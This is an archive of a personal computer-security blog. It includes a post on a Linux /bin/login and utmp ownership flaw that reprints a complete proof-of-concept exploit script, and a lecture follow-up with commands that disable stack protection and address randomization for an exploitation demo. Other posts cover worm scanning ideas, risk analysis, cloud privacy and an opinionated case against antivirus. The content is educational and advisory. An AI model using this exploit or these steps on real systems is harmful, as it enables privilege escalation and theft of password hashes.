Cooking With Technology

Arbitrary File Ownership Exploit in Linux

Remember our discussion on viewing computer security as threat mitigation? Well the likely risk of one attack vector being exploited has just increased.

An issue was uncovered in Linux’s /bin/login and utmp being able to change the ownership of arbitrary files upon remote login. The example they discussed was changing /etc/shadow to be readable by a normal user (supposedly for password cracking at the attacker’s leisure), but this could also be used to make accessible ownership of other people’s ssh private keys, view plaintext passwords in daemon configuration files, gain access to applications normally restricted to superusers, and of course do whatever else a creative individual could think of. The current exploit is a proof-of-concept, and thus isn’t all that elegant (nor dangerous). However, that doesn’t mean future iterations of the exploit code won’t be either.

The issue can be easily avoided by updating your Debian system – the Debian security team has released an update which includes a fix for this issue.

For other distributions, there has been no discussion of temporary measures to avoid being vulnerable. My suggestions for temporary protection from the *current* exploit are:

1. Disable external incoming access to port 23 (telnet).
2. Prevent the telnet daemon (telnetd) from running.
3. Don’t give in to any requests to ‘chgrp utmp’ anything (although this isn’t a complete workaround – if an issue allowing escalation of privileges within any utmp owned file is found, you will still be vulnerable without another temporary fix from above)

However, I believe another iteration of this exploit will include using rlogin if telnet fails, as it also uses /bin/login. To avoid being vulnerable to this threat while a patch is released for your distribution, you may also do the following:

1. Disable external incoming access to port 513 (rlogind).
2. Prevent the rlogin daemon (rlogind) from running.
3. Same as 3. from above.

To be complete, below is the proof-of-concept exploit developed by Paul Szabo of the University of Sydney. It was released on December 1, 2008.

#!/bin/bash -

echo '
	#include
	#include
	#include
	#include
	#include
	#include 

	int main(int argc, char *argv[])
	{
	  struct utmp entry;
	  int i;

	  entry.ut_type=LOGIN_PROCESS;
	  strcpy(entry.ut_line,"/tmp/x");
	  entry.ut_time=0;
	  strcpy(entry.ut_user,"badguy");
	  strcpy(entry.ut_host,"badhost");
	  entry.ut_addr=0;
	  for(i=1;i<9;i++) {
	    entry.ut_pid=(pid_t)( i + (int)getpid() );
	    sprintf(entry.ut_id,"bad%d",i);
	    pututline(&entry);
	  }
	}
' > /tmp/fillutmp.c

cc -o /tmp/fillutmp /tmp/fillutmp.c

echo 'Ask someone with group utmp privileges to do:'
echo '  chgrp utmp /tmp/fillutmp; chmod 2755 /tmp/fillutmp'
echo -n 'Press [RETURN] to continue... '
read ANS

echo '
	#include 

	int main(int argc, char *argv[])
	{
	  while(1)
	  {
	    unlink("/tmp/x");
	    symlink(argv[1],"/tmp/x");
	    unlink("/tmp/x");
	    symlink(argv[2],"/tmp/x");
	  }
	}
' > /tmp/jigglelnk.c

cc -o /tmp/jigglelnk /tmp/jigglelnk.c

HOST=`hostname` # or simply localhost?
echo "Which tty do you think a 'telnet $HOST' will use next?"
echo "(Do that telnet and see...)"
read TTY
echo "You said it will be '$TTY' ..."

ATK=/etc/debian_version # should be /etc/shadow

echo "Starting symlink re-jiggler ..."
/tmp/jigglelnk $TTY $ATK &
JIG=$!

LOOP=0
while :; do
  ((LOOP = $LOOP + 1))
  echo; echo; echo "Try = $LOOP"

  /tmp/fillutmp

  echo "Telnetting... if login succeeds, just exit for next try..."
  /usr/bin/telnet $HOST

  LS=`ls -ld $ATK`
  case "$LS" in
    *root*root* ) ;; # not done yet...
    * )
      echo; echo
      echo "Success after $LOOP tries!"
      echo "$LS"
      echo; echo
      break
    ;;
  esac
done

kill $JIG
rm /tmp/fillutmp /tmp/jigglelnk /tmp/x

# ...
# ~$ logout
# Connection closed by foreign host.
# Success after 12 tries!
# -rw------- 1 psz tty 4 Oct 28  2006 /etc/debian_version

Stay secure!

Secure Enough: Or Security as Threat Mitigation

My “Why I Don’t Use Antivirus” post has been receiving a recent surge of traffic, and with it, new commentors who open my eyes to how other people think. The result of my reading these comments is the conclusion that people view practices as either “secure” or “insecure,” while leaving little room in between the camps.

In this post, I’m going to introduce a concept that is hardly new, but needs more attention:

Secure Enough: The point in which the impact of an unmitigated risk is less than the effort to mitigate the risk.

Defensive computer security is not a game you can win. All it takes is one unacceptable compromise for you to lose, while offensive computer security plays with polar rules. What changes from person to person however is the definition of “unacceptable compromise.” For a home machine, it may be an attacker gaining access to information that would leave an individual financially vulnerable. For a business, it is definitely related to the goals of the business and the damage a compromise could inflict.

Because of this, every entity’s security model is going to be different, but they (should) all start with an analysis of resources and the priority with which they should be protected. Then, and only then, should layers of security be applied to a system. The reason for this?

Security applied without cause increases complexity of a system with no added benefit. [1]

Breaking it down, the steps to deciding how to secure a system are as follows:

1. Quantify the resources of a system (not forgetting privacy, damage to community, and other frequently overlooked aspects of a compromise)
2. Determine the importance of defending each resource (including cost to repair, replace, and contain the results of an attack in man hour, intellectual property, and dollar cost)
3. Determine the risk tolerance for each resource identified, independent of cost (with 0 meaning much risk tolerance, and arbitrarily high numbers conveying increasingly less risk tolerance, for the sake of this article)
4. Determine the cost of defending each resource (using the same criteria as #2, in addition to including cost to maintain the security measure)

I won’t go further into describing how to do the analysis, because every entity is going to be different with every facet. Regardless, once the three steps have been performed, deciding which security layers to apply is the result of an expression like the following: [2]

if: (importance of resource + cost of resource) * risk tolerance > (cost of implementing security measure)

then: Defend resource using security measure identified

else: Analyze less costly alternatives for defending resource, defend with blanket defense, or ignore additional defense for this resource completely

This trivially says that if the resource is important, valuable, and you cannot risk an attack on it, it will be beneficial to mitigate any risk of that resource being compromised. Alternatively, if the resource is not important, not valuable, and you can tolerate the risk of it being compromised, it may not be worth the effort to mitigate the potential security threat. Points in between become a balance of cost of and risk tolerance versus the cost of implementing a security layer to protect the resource.

This method of securing a system obviously leaves security threats that are not directly mitigated. But the idea is not to get perfect security coverage, it is to adequately cover the resources that are worth defending. Or, in other words, the goal is to be Secure Enough.

[1] Okay, maybe there is *some* benefit, but because the security layer was applied without direct cause, the potential benefit will only be realized on accident – but regardless increases the complexity of a system.

[2] I made this expression up, it is only given to convey the relationship between the involved metrics.

Storing Data in the Cloud

I want to open this up with a question posed by j9er on twitter:

j9er Taking cloud computing to its ultimate outcome, does ayone care that, say, Microsoft would have all your data? Or, Google?

My concise response: yes, I care. But the three primary reasons go beyond the 140 characters twitter would allot me.

Unrestricted Access

The big thing that keeps me from being completely comfortable with a third party storing my data for me is whether I would have unrestricted access to my data. Currently, users are even having problems with google disabling access to its user’s gmail accounts. So say Google or Microsoft have all my data, not just my e-mail and some google docs: how are they going to guarantee that I can access my data how I want, when I want, and wherever I want?

Security

Beyond that, security is an issue. On my home system or my personal servers, I can guarantee their security, as I am the sole administrator of my nodes and I am security conscious. Additionally, my personal data is not coveted by malicious hackers. The amount of effort it would take for someone to gain access to my machines externally is definitely not worth the information they would gain access to. However, when the information of millions of users is aggregated into one location, that data becomes extremely attractive. So the second question becomes: how can the company guarantee the security of the cloud, and the security of the information within? (On that note, I highly reccommend the cloudsecurity blog, where they attempt to answer these questions.)

Privacy

The last concern is one I am sure most people familiar with the topic have thought about. Storing information with an organization involves a great amount of trust, and when it is done improperly people raise their voices. (A good example is any time the CIA/NSA/FBI want to merge databases. If you do it without consent, it is an improper collection of information.) Storing information in the cloud therefore needs to be consensual, guarded well, and exposed only to the owner and applications owned by the organization, but never reviewed by humans, and with all personally identifying information scrubbed.  The final question therefore is: how can the organization storing my data guarantee my personal privacy?

I care about my data. Especially who has it, who may have access to it, and how it may be used to identify me. Until the questions can be answered and those guarantees made, I won’t be comfortable storing all my data in the cloud.

Why I Don’t Use Antivirus

I haven’t used antivirus for near five years now, and yes, even on my Windows hosts. According to the popular opinion of the Internet, my Windows machines should now be zombies supporting the botnet efforts of Russian organized crime – but they aren’t. The reason for this is, and I am going to make a bold statement here, is I am just as secure without antivirus software as I would be with it. Now that you all know where I’m heading, I’ll explain why it is true for me, and why it is probably true for you too.

The secret lies in the reasons people would have you believe you need antivirus software. Obviously the reason is to prevent and clean infections, but the effectiveness of these tasks is dependent on the signatures created for the software. To give a rough outline, the process goes like this:

1. Virus is coded and released
2. Antivirus labs obtain a sample of the virus
3. Labs reverse engineer and create signature for the virus
4. Signatures are downloaded by your AV software to be able to detect and clean the virus

Ignoring heuristic scanning for a second, note that between events one and four you are vulnerable to the virus that was released. The amount of time it takes for AV labs to release a signature for a virus varies, but in that time you are unprotected from it. That means that your signature based virus detection and cleaning system is effective only for attacks that have been around for a bit.

With heuristic scanning, there is a chance that it will pick up new viruses that don’t yet have signatures. This is fairly effective for trivial viruses that repeat methods used by other viruses, but poses no resistance to viruses using new techniques, engines for encrypting malicious code, or polymorphic engines. Unfortunately for Joe Public, the damaging viruses are the advanced ones – heuristic scanning is only going to prevent you from doing something really silly (like opening that screen saver someone sent you in an e-mail).

Viruses aren’t even that dangerous. I’m sure I’ll catch some flak for this statement, but they are generally contracted by user ignorance or idiocy. Viruses by definition require user interaction to propagate, which means that if you are infected with a virus, it is because you did something to contract it. Worms are a different story, they can infect you without your participating in the event. However, antivirus is completely ineffective in blocking the initial wave of worm infections (even with heuristic scanning) anyway, which is the same time you are most likely to come in contact with the worm. If you don’t do anything to contract viruses, you don’t have to worry about them.

So say I am a discerning user who doesn’t open shifty attachments or download warez executables (ie, I in general know what I am interacting with) – what is my risk of contracting a virus with antivirus? Slim to nil. And without antivirus? Slim to nil, because I don’t open the attack vector required to be infected by viruses. And say I contract a virus using a new attack vector that catches me off guard because it uses some new technique – what is my risk now? Antivirus wouldn’t catch it even using heuristic scanning because it is using new techniques, so it doesn’t matter whether it is installed or not. My risk hasn’t increased because my machine lacks antivirus software.

This plays out practically, too. In my five years of not running antivirus software on a Windows box that I keep patched and behind a router with NAT (which is the new default setup for many families), I have not contracted a single virus nor been hit by a single worm. This isn’t something I’m bragging about – it is just a fact that defies the common notion that antivirus is a necessity, especially on Windows boxes.

If you don’t keep your machine patched, your company policy requires it, or you are gullible, you should probably have antivirus software – your risk will decrease by having it there. If you are security conscious, aware, and scrupulous, you can save your system resources and some money by ditching your antivirus software – you are no more secure with it than you would be without it.

Microsoft’s Government Backdoor… Isn’t

I had a friend share a blog post of a story that has been all over the Internet lately regarding Microsoft having a government backdoor in Windows. The story shared is located here, but I’m sure drudging around tech news sites run by 14 year olds or ignorant IT professionals will expose you to similar content.

Full disclosure: I’ve been using Linux for over five years regularly, and am typing this post from my laptop running Debian Linux to my server running Debian Linux, but I do use Windows on my desktop. Hopefully that sentence will cut down on comments accusing me of fanboyism, because I’m going to stick up for Microsoft here.

Actually, I don’t need to stick up for them – because the ‘backdoor’ doesn’t exist as far as anyone knows. I can’t pretend to know whether one exists (a huge reason why open source is better in cases like this), but in this instance the authors of titles are just being media whores and trying to amplify the situation for traffic. The reasons why this is true are straightforward, and numbered for your pleasure:

1. The component in question is not a part of Windows by default.

The program the article’s author is claiming has a backdoor is the Malicious Software Removal Tool, which does not ship by default with any version of Windows. Yeah, it is a component produced by Microsoft, but even if there was a backdoor in it, it isn’t a backdoor in Windows.

2. It isn’t a backdoor.

Backdoors allow an outsider unauthorized access into a system. As the article reports, the Malicious Software Removal Tool may report the IP address of the machine through the tool to a central location. Reporting an IP is nowhere near the same class as a backdoor. While I won’t argue that doing this against the user’s will is a breach of privacy, people seem to be in love with escalating issues, and it is as stupid as it is unfounded.

3. Everything is speculation.

Find a fact worth the attention these stories are getting. Everything is based on interpretation of events, and the discussion following those interpretations are once again removed before “facts” are arrived at. Sensationalist writing has always annoyed me, and that people take it seriously even more so.

So there you have it. The fabled Microsoft Windows government backdoor is a manifestation produced by someone who fails both at basic computer security and journalism. Just as the title of this post states: the Microsoft Windows government backdoor… isn’t.

Barcamp Recap

Barcamp Rochester 3 was Saturday, and it turned out to be an *amazing* event. The idea behind Barcamp is that it is an informal conference where there are no spectators, only participants. This means that everyone who attends gives a talk on something, ranging from programming languages to intellectual property to enacting political change through technology.

The talks ran from 10:00am to 10:00pm in three separate rooms, and given that multiple talks were going on at the same time it was impossible to see everything. I did attend Google employee Jordan Sissel’s “cool stuff I’ve worked on” presentation, jquery creator John Resig’s jquery presentation, frequency ninja Andrew Potter’s wireless and spectrum lecture, and a round-table discussion on politics. Needless to say, it was a very full day.

I personally gave an hour lecture on the same material as my most recent Society of Lectors lecture, covering hacking through exploitation and shellcode. The turnout for my talk was great, and for anyone who attended that is now reading this, thanks for being part of such a great audience! I really enjoy giving this lecture – I get excited about the topic, and it is great to see other people getting excited about it too. The questions at the end are always my favorite part, and given more time, I could have talked forever about some of the topics that were brought up because of them.

The biggest event of the day for me was a talk on how we can use technology to inform people, with a special focus on the US political system. It started as a round table discussion led by Remy D of the NYPIRG and James Turk of the Sunlight Foundation labs, with Dave, Heewa, and myself attending. It moved from ideas to implementable actions, and while I entered the discussion skeptic, I left with the feeling that it is possible for individuals to make a difference in a system that is much larger than themselves. I hope to engage in future work that will spread the same kind of hope to other individuals, because the opportunity exists to shake the popular apathy for our communities – and knowing it is somehow comforting.

On top of everything else, I’m helping Dave and Heewa with the One Laptop Per Child program at RIT. The organization is sound, and their ideas are worth pushing forward. I’m particularly interested in the mesh networking capabilities of the XO laptop, and my contributions will most likely be related to software that takes advantage of it. The reason I’m bringing this up in a post on Barcamp is because Dave and Heewa gave a couple talks on the initiative and their plans for it at RIT, and having finally obtained an XO laptop, I got to play with it! John Resig also had one, so we messed around with chat and video feeds. It was pretty cool, even though the size of the XO makes it kind of difficult to work with.

The event overall is just something you have to experience. There is nothing quite like a gathering of a bunch of smart people talking about what interests them. With few exceptions, everyone is really friendly and down to earth, which makes it really easy to just focus on the goal of the day: to share ideas, meet new people, and leave just a bit better than you were when you came.

Here’s looking forward to Barcamp Rochester 4!

Hacking: Lecture Two Follow-up

Yesterday I gave the second lecture in my “hacking” series. We’ve progressed beyond general descriptions and terminology and moved into the technical aspects of the stack, vulnerable code, and crafting exploits. The lecture ran about 45 minutes, and was accompanied by a live demonstration of exploiting vulnerable code.

For those that came late or missed it, the slides are available here (pdf format), although once again the real content was in the accompanying talk.

The demonstration used three source files. The shellcode was written by BreeZe of binbash.org, while the other two are my own. They are:

• The vulnerable sample program
• The shellcode
• The exploit code

Running the Exploit

First, I only tested the exploit running on Debian Linux, running a 2.6.23 kernel on a 32bit x86 machine. It probably won’t work on Windows or a Mac, and it definitely won’t run on your SPARC.

Second, I used version 3.3 of gcc’s compiler. Newer versions contain checks to make stack smashing harder, but 3.3 is free of any of these security features. You’ll have to use it when compiling these, which can be done by issuing gcc-3.3 -o <name> <name.c>, like:
gcc-3.3 -o exploit exploit.c

Third, Linux kernels after 2.6.12 do virtual address space randomization, which will prevent the exploit from running successfully after being compiled. To disable this, issue (as root):
sysctl -w kernel.randomize_va_space = 0

Fourth and finally, if you want to trigger a core dump in the vuln program, you have to lift any restrictions on dumping core files. Something like the following should work:
ulimit -c 100000

Note that the shellcode file is superfluous, I only included it as an example and guide.

Next Time

At this point, I’m not sure what I’ll be covering next week. There is a lot I could do – writing shellcode, showcase more advanced shellcode, demonstrate gaining a remote shell (remote exploitation is a whole other beast), secure coding, polymorphic and self-modifying shellcode… there are a lot of topics, and only one lecture left before the end of the series.

Regardless, it will be fun, and we’ll all learn a hell of a lot.

I’ll be at Barcamp Rochester 3 this Saturday in GCCIS, and more likely than not I’ll be talking about anything and everything computer security. If you have any questions anything or find something I’ve said interesting, hit me up! I’m friendly, and always up for talking about computer security :)

Intelligent Port Scanning

When targeting an individual host, the first step most attackers take is to scan and probe the system in order to gather information about it. Most generally this means scanning the system with nmap, determining open ports to find what the machine is serving, identifying the version of each service available, and then attacking the vulnerable ones.

The game changes when the attacks are automated, such as when they originate from a worm. Worms rely on only a select number of attack vectors, and without being artificially intelligent, are not capable of identifying and attacking new vulnerabilities. This means that when a worm scans, it is probing machines to determine whether they susceptible to a specific set of attacks.

But scanning is hard. It is slow. With the 2^32 addresses that exist within the IPV4 space alone, scanning with only one host can take an incredible amount of time. IPV6 is even worse. With a 64 bit address space and thus 2^64 addresses, the conventional means of scanning are extremely inefficient – a fact the IETF is well aware of. So now attackers and worm writers are faced with a new problem: how can we make this process faster?

I have an idea for a solution, and a proof-of-concept in the works to demonstrate it. Why not use IANA themselves to help? My solution involves not increasing the speed of the actual scanning, but by increasing the intelligence with which hosts are chosen to be scanned. The allocated IP blocks are published by IANA and made publicly available. Take a look at it: 41 /8 blocks are unallocated and 36 are reserved, dropping our problem space down by 77 /8 blocks. If the scanner was particularly stupid and was previously scanning the full range of IPs, this would result in 1,296,908,325 less addresses to scan, increasing our theoretical speed for a complete scan by 30%. When you are talking performance in computer science, a 30% speed increase is a big deal, and to a worm author, that relates directly to faster propagation.

The improvements are even more drastic for IPV6. Blocks of IPs cost money, so they won’t be snatched up immediately. Scanning only the allocated blocks of IPs means that the 64 bit problem space becomes less ominous. If we consider that the transition to IPV6 will occur when most addresses in the IPV4 space are used, then intelligently scanning only those addresses results in a 1.84×10^19 reduction in hosts to scan.

The long and short of it is that scanning isn’t likely to get much faster, but intelligently choosing what is scanned can produce real results that only lose effectiveness as the number of actual hosts increases. I’ll post a POC in some time that will showcase this methodology, so keep your eyes locked ;)

Hacking: Lecture One Follow-up

On Tuesday I gave the first of a series of lectures following the “hacking” track. I’m staying far, far away from an IT perspective – I’m not teaching nmap or how to use wireshark, nor am I discussing web vulnerabilities. No – I strive for a higher path, focusing the audience on dodging the skiddie [1] bullet and pointing them toward the real stuff. The talk went well, the audience was very engaged, asked great questions, and had good ideas when I asked for them. 98% of the content was in the talk, but as promised, the slides are now available for your viewing pleasure.

View the presentation here (Google docs, no download necessary).

There are varying requests for where to go next in the series. I had originally planned on gradually introducing more complex topics over a set of three lectures, hence the very general nature of the first. However, the group that came seems more interested in jumping directly to application, requesting a live demo of an exploit and accompanied explanation. When this idea was first presented I was a little hesitant – I was hoping to give people the knowledge necessary to be a jumping point, this is a little more direct. While it will take a lot more preparation, I think I’m going to end up using a demonstration to fuel my next lecture, conflating theory and practice.

A couple questions were asked that I think deserve more attention than I could give them on Tuesday:

Q: Are people who use Gentoo and compile everything more secure than someone who uses prepackaged binaries?

A: Absolutely not. The argument provided in conjunction with the question was that some compiler flags may change the layout of the program in memory, thus making new exploits developed for common versions of programs ineffective against the customized versions. Yes, there are a number of cases where this may be true, but that number is likely negligible. Compilers modify logic, unroll loops, and handle other things that have to do with instructions – rarely do they modify data, which is what we care about in the track we are following. Because the stack isn’t modified so heavily that the vulnerable components are removed, a bigger NOP [2] sled is often all that is required to have the same exploit work on your optimized code.

There are exceptions to this, but not in optimization flags. Introducing canaries is an option that is available to use when compiling with certain versions of GCC [3]. Canaries are simply two modifications: the first is introducing a random integer to a variable that gets placed between the rest of the stack frame’s variables and return address, and the second is a simple conditional that checks the value of that number. If the number is overwritten by whatever data we used in overwriting the return address of the stack frame, the conditional check will fail, and the program will exit with an error indicating a failed canary check (usually a reason for an admin to show concern). This is the only current compiler flag option I know of that will stop non-specialized exploits from delivering their payloads to your box.

More important however is the need to address the question’s ignorance. The short and correct answer to the question is “no, in fact you are less secure.” Feeling invulnerable is the most dangerous thing you can do for the security of your systems. It doesn’t matter how your binaries are obtained and compiled – if a vulnerability exists for the version of the program you are using, you are vulnerable. Your intermediate steps may have bought you time, but feeling safe causes complacency, and the second you feel complacent is the same second the security of your system is philosophically compromised.

Q: Isn’t it true that operating systems are running most programs in ring0?

A: No; in fact, the opposite is true. The full question was posed using language and concepts that hadn’t been introduced yet, so for those that were just being introduced to the field it was a bit foreign. Ring0 and Ring1 respectively refer to kernel and user space, which are concepts in operating system design that separate the operating system’s running components from programs the user runs. Without a separation, a user would have the ability to modify the kernel’s components which is a Bad Thing ™.

From the definition above, it should be obvious why the answer to the question is no. It is true that all programs make calls to kernel space functions exposed through an operating system’s API, but at no point does the user’s program enter the kernel itself to execute code. This was not always the case, but it has been for the last several years, and the separation only grows more defined with each new generation of operating systems. Note that there are ways to get code running in kernel space through drivers or kernel hooking (check out rootkits if this line of research interests you), but it requires some trickery and administrative access on the machine – no normal program does it.

And with that, I’ll close. The next couple days will be spent in part preparing the next lecture in the series, where we’ll see a demonstration, some actual shellcode, and a dive into further understanding memory and the mindset of the innovative hackers that develop these techniques.

[1] Script kiddie, a wanna-be hacker that uses the tools and work of others without producing anything of their own.

[2] No operation. Just burns a CPU cycle and increments EIP, the pointer that tells the processor which instruction to execute next.

[3] The GNU C compiler.

An Introduction to Shellcode

More updates for the Society of Lectors!

The next group of lectures is occurring tomorrow, Tuesday March 24th, 2008 in the first floor auditorium (room 1400) of GCCIS (building 70) at RIT. We are meeting at 8:00PM, and this new day and time has been settled on for the near future.

The reason I’m especially excited about tomorrow is that I am lecturing! I’ve been given the go-ahead to give a series of lectures on shellcode, a fairly heady computer security topic that is never taught in classes. Part one of the series is a very general, non-technical overview and topic introduction that is accessible to those of all backgrounds. After building a solid base of understanding, we’ll really dive into things with later lectures. Afterward, I’ll post the slides here and to the Society of Lectors group, as well as publish a corollary technical component for those that didn’t have their appetites whetted by the presentation. My blurb:

Computer hackers continue to be the bane of the networked computer – but have you ever wondered exactly how they strike? In part one of this series, we will dive into a very accessible view of how they gain control of computers they do not possess.

Heewa Barfchin is also presenting on neural networks from biological and computer model perspectives. Tomorrow should be great!